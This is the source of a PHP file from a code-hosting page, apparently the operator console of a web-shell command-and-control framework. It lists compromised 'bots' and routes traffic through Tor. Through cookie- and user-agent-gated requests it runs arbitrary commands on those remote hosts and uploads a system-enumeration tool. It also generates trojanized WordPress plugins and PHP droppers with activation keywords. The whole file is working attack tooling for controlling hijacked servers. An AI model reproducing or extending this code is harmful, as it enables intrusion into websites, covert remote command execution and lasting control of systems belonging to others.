-
Notifications
You must be signed in to change notification settings - Fork 39
/
sloppy_client.php
337 lines (324 loc) · 13.1 KB
/
sloppy_client.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
<?php
require_once "lib/classes.inc.php";
//crypto
use crypto\decryptShellResponses\decryptor;
//end crypto
//pipe dream.
use fake_the_landing\randomDefaultPage;
//end pipe dream.
// communications
use curlStuff\defaultClient\genericChunkFileTransfer;
use curlStuff\defaultClient\genericClientExecuteCommands;
use curlStuff\mainCurl;
use curlStuff\validateMeMore\talkToMeDamnit;
use userAgents\agentsList;
//end communications
// might remove this, since tor is what should be used.
// end stuff.
// droppers
use new_bots\makeMeSlim\slimDropper;
use new_bots\wordpressPlugins\makeMeWordPressing;
// end droppers
//graphics and shit
use logos\art\artisticStuff;
use logos\menus\mainMenu;
//end graphipcs and shit.
$d = default_config;
$randomize_landing = new randomDefaultPage();
$configs = $d->exportConfigConstants();
$l = new artisticStuff(true);
$m = new mainMenu();
$agents = new agentsList();
$curl = new mainCurl(true, $configs['tor']);
$choices = [
"postgres" => $configs['pg_presets'],
"sqlite" => $configs['sqlite_presets']
];
if (str_contains(SQL_USE, "PGSQL")) {
define("database", new database\slopPgSql($choices['postgres']['pg_host'], $choices['postgres']['pg_user'], $choices['postgres']['pg_pass']));
} else {
define("database", new database\slopSqlite($choices['sqlite']['sqlite_db']));
}
var_dump(database->firstRun());
$randomize_landing->whyNot();
readline("Press enter to continue.");
function pagination()
{
$page = 0;
$itemsPerPage = 10;
$lastId = 0;
do {
$lastId = database->grabAndFormatOutput($lastId, $itemsPerPage, "bot");
$lastPage = ($lastId < $itemsPerPage);
echo "Current Page: " . ($page + 1) . "\n";
echo "Press 'n' for next, 'b' for back, or 'q' to quit and return to the main menu: ";
$handle = fopen("php://stdin", "r");
$action = trim(fgets($handle));
fclose($handle);
if (is_numeric($action)) {
return $action;
}
if ($action === 'n') {
if (!$lastPage) {
$page++;
$lastId = database->grabAndFormatOutput($lastId, $itemsPerPage, "bot");
$lastPage = ($lastId < $itemsPerPage);
if ($lastPage) {
echo "You're on the last page.\n";
}
} else {
echo "You're already on the last page.\n";
}
} elseif ($action === 'b') {
if ($page > 0) {
$page--;
$lastId -= $itemsPerPage;
$lastId = database->grabAndFormatOutput($lastId, $itemsPerPage, "bot");
} else {
echo "You're on the first page. Cannot go back any further.\n";
}
} elseif ($action === "q") {
return 0;
}
} while ($action !== "q");
}
$l->prepareFrames();
$l->displayLogo();
$current = null;
while (true) {
system(CLEAR);
$l->displayStaticAsciiLogo();
$m->menu();
$c = strtolower(trim(readline("->")));
switch ($c) {
case str_starts_with($c, "sys") !== false:
system(CLEAR);
$m->enumSystemMenu();
$selectedEntry = pagination();
$bot = database->insertData(["action" => "grabBot", "botID" => $selectedEntry]);
$a = new genericChunkFileTransfer([
"base_uri" => sprintf("%s://%s", $bot[0]['proto'], $bot[0]['rhost']),
"timeout" => 5,
"allow_redirects" => false,
"proxy" => [
"http" => $d->tor,
"https" => $d->tor
],
"cookies" => true,
"protocols" => $bot[0]['proto'],
"strict" => false,
"referrer" => false,
"track-redirects" => true
]);
$a->chunkTransferFile($bot[0]['uri'],
[
'headers' => [
"User-Agent" => $bot[0]['agent']
]
],
[
"uuid" => $bot[0]['uuid'],
"cname" => $bot[0]['cname'],
"cval" => $bot[0]['cvalue'],
],
"lib/tools/enumSystem/enumerateSystem"
);
break;
case str_starts_with($c, "rev") !== false:
system(CLEAR);
$m->reverseConnectionsMenu();
break;
case str_starts_with($c, "com") !== false:
system(CLEAR);
// need to add handling into this script for the new script filenames.
$selectedEntry = pagination();
$bot = database->insertData(['action' => "grabBot", "botID" => $selectedEntry]);
$coms = new genericClientExecuteCommands([
"base_uri" => sprintf("%s://%s", $bot[0]['proto'], $bot[0]['rhost']),
"timeout" => 5,
"allow_redirects" => false,
"proxy" => [
"http" => $d->tor,
"https" => $d->tor
],
"cookies" => true,
"protocols" => $bot[0]['proto'],
"strict" => false,
"referrer" => false,
"track-redirects" => true
]
);
$m->commandTypes();
$type = readline("Which of the 3 options would you like to select (this will enter into a loop, so you can continue to execute commands press q to quit): ");
do {
$bot = database->insertData(['action' => "grabBot", "botID" => $selectedEntry]);
$action = readline("What would you like to execute: ");
switch (true) {
case $action === "q":
case $action === "quit":
echo "Quitting.";
break;
case $action === "clear":
system(CLEAR);
break;
case $action === "help":
echo <<<HELPER
press \033[0;32mq\033[0m or \033[0;32mquit\033[0m to exit this loop.
\033[0;33mclear\033[0m to clear the current screen.
or \033[0;34mhelp\033[0m to show this message.
HELPER.PHP_EOL;
break;
default:
try {
$command = $coms->head($bot[0]['uri'],
[
'headers' => [
"User-Agent" => $bot[0]['agent']
]
],
[
"cr" => $type,
"command" => $action,
"uuid" => $bot[0]['uuid'],
"cname" => $bot[0]['cname'],
"cval" => $bot[0]['cvalue'],
]
);
} catch (Exception $e) {
echo $e->getMessage() . PHP_EOL;
readline("Exception occured....... Press enter to continue." . PHP_EOL);
break;
}
if (!is_null($command->getHeaderLine('D'))) {
database->insertData(["action" => "updateBot", "botID" => $selectedEntry, "newUri" => sprintf("/%s", $command->getHeaderLine('NewName'))]);
foreach (explode(":", base64_decode($command->getHeaderLine("D"))) as $output) {
echo sprintf("\033[0;35m%s\033[0m", str_replace(";", "\n", trim($output))) . PHP_EOL;
}
} else {
echo "Command failed successfully....." . PHP_EOL;
}
}
} while ($action !== "q");
case str_starts_with($c, "a") !== false:
system(CLEAR);
$m->addHostMenu();
database->insertData(
[
"action" => "add_bot",
"rhost" => trim(readline("Remote host: ")),
"uri" => trim(readline("URI (example: /home/slop.php)")),
"uuid" => trim(readline("UUID (should be the uuid associated with the dropper/shell in the database.): ")),
"os_flavor" => trim(readline("OS: ")),
"cname" => trim(readline("CNAME: ")),
"cval" => trim(readline("CVAL: ")),
]
);
break;
case str_starts_with($c, "cr") !== false:
system(CLEAR);
$m->dropperMenu();
$c = trim(strtolower(readline("-> ")));
switch ($c) {
case str_contains($c, "small") !== false:
system(CLEAR);
$act_word = trim(readline("Activation Keyword: "));
if (is_null($act_word) or $act_word === "") {
$act_word = bin2hex(openssl_random_pseudo_bytes(24));
}
$trj = new makeMeWordPressing($act_word, $agents->getRandomAgent(), bin2hex(openssl_random_pseudo_bytes(10)), bin2hex(openssl_random_pseudo_bytes(50)));
$a = $trj->createSmallTrojanWordpress();
database->insertData([
"action" => "add_press",
"zip" => $a['TrojanPlugin'],
"activator" => $a['ActivationWord'],
]
);
readline("Press the any key to continue.");
break;
case str_contains($c, "chonker") !== false:
system(CLEAR);
$trj = new makeMeWordPressing(null, $agents->getRandomAgent(), bin2hex(openssl_random_pseudo_bytes(10)), bin2hex(openssl_random_pseudo_bytes(50)));
$yay = $trj->createChonker();
database->insertData([
"action" => "add_press",
"zip" => $yay['TrojanPlugin'],
"UUID" => $yay['uuid'],
'CookieName' => $yay['CookieName'],
'CookieVal' => $yay['CookieValue'],
'AllowedAgent' => $yay['AllowedAgent']
]);
readline("Press the any key to continue.");
break;
default:
system(CLEAR);
$trj = new slimDropper($agents->getRandomAgent(), $configs['alpha_chars']);
$a = $trj->generateDropper();
database->insertData([
"action" => "add_dropper",
"location_on_disk" => $a['dropper'],
"post_var" => $a['post_variable'],
"cookiename" => $a['cookie_name'],
"user_agent" => $a['user_agent']
]);
readline("Press the any key to continue.");
break;
}
break;
case str_starts_with($c, "ch") !== false:
system(CLEAR);
$m->validateHost();
$validateMeMore = new talkToMeDamnit();
try {
$validateMeMore->checkMultiHost(database->grabOrFormatOutput(['type' => 'all_bots'])["bots"]);
} catch (Exception $e) {
echo $e . PHP_EOL;
}
break;
case str_starts_with($c, "at") !== false:
system(CLEAR);
$m->addToolMenu();
break;
case str_starts_with($c, "lt") !== false:
system(CLEAR);
//@todo need to add pagination here.
$m->grabToolsMenu();
break;
// case str_starts_with($c, "gp") !== false:
// system(CLEAR);
// //@todo need to add pagination here.
// $m->grabProxyMenu();
// break;
// case str_starts_with($c, "r") !== false:
// system(CLEAR);
// $m->resetProxyMenu();
// break;
case str_starts_with($c, "rl") !== false:
system(CLEAR);
$randomize_landing->whyNot();
readline("Press enter to continue.");
break;
case str_starts_with($c, "gc") !== false:
system(CLEAR);
$m->generateCertMenu();
break;
case str_starts_with($c, "o") !== false:
system(CLEAR);
echo "Current Options: " . PHP_EOL;
print_r($configs);
readline("Press enter to continue.");
break;
case str_starts_with($c, "ac") !== false:
system(CLEAR);
break;
case str_starts_with($c, "q") !== false:
system(CLEAR);
foreach ($m->goodBye() as $bye) {
echo "\033[0;34m{$bye}\033[0m" . PHP_EOL;
}
die();
default:
echo "\033[0;31mThat is not a valid command.";
break;
}
$c = "";
}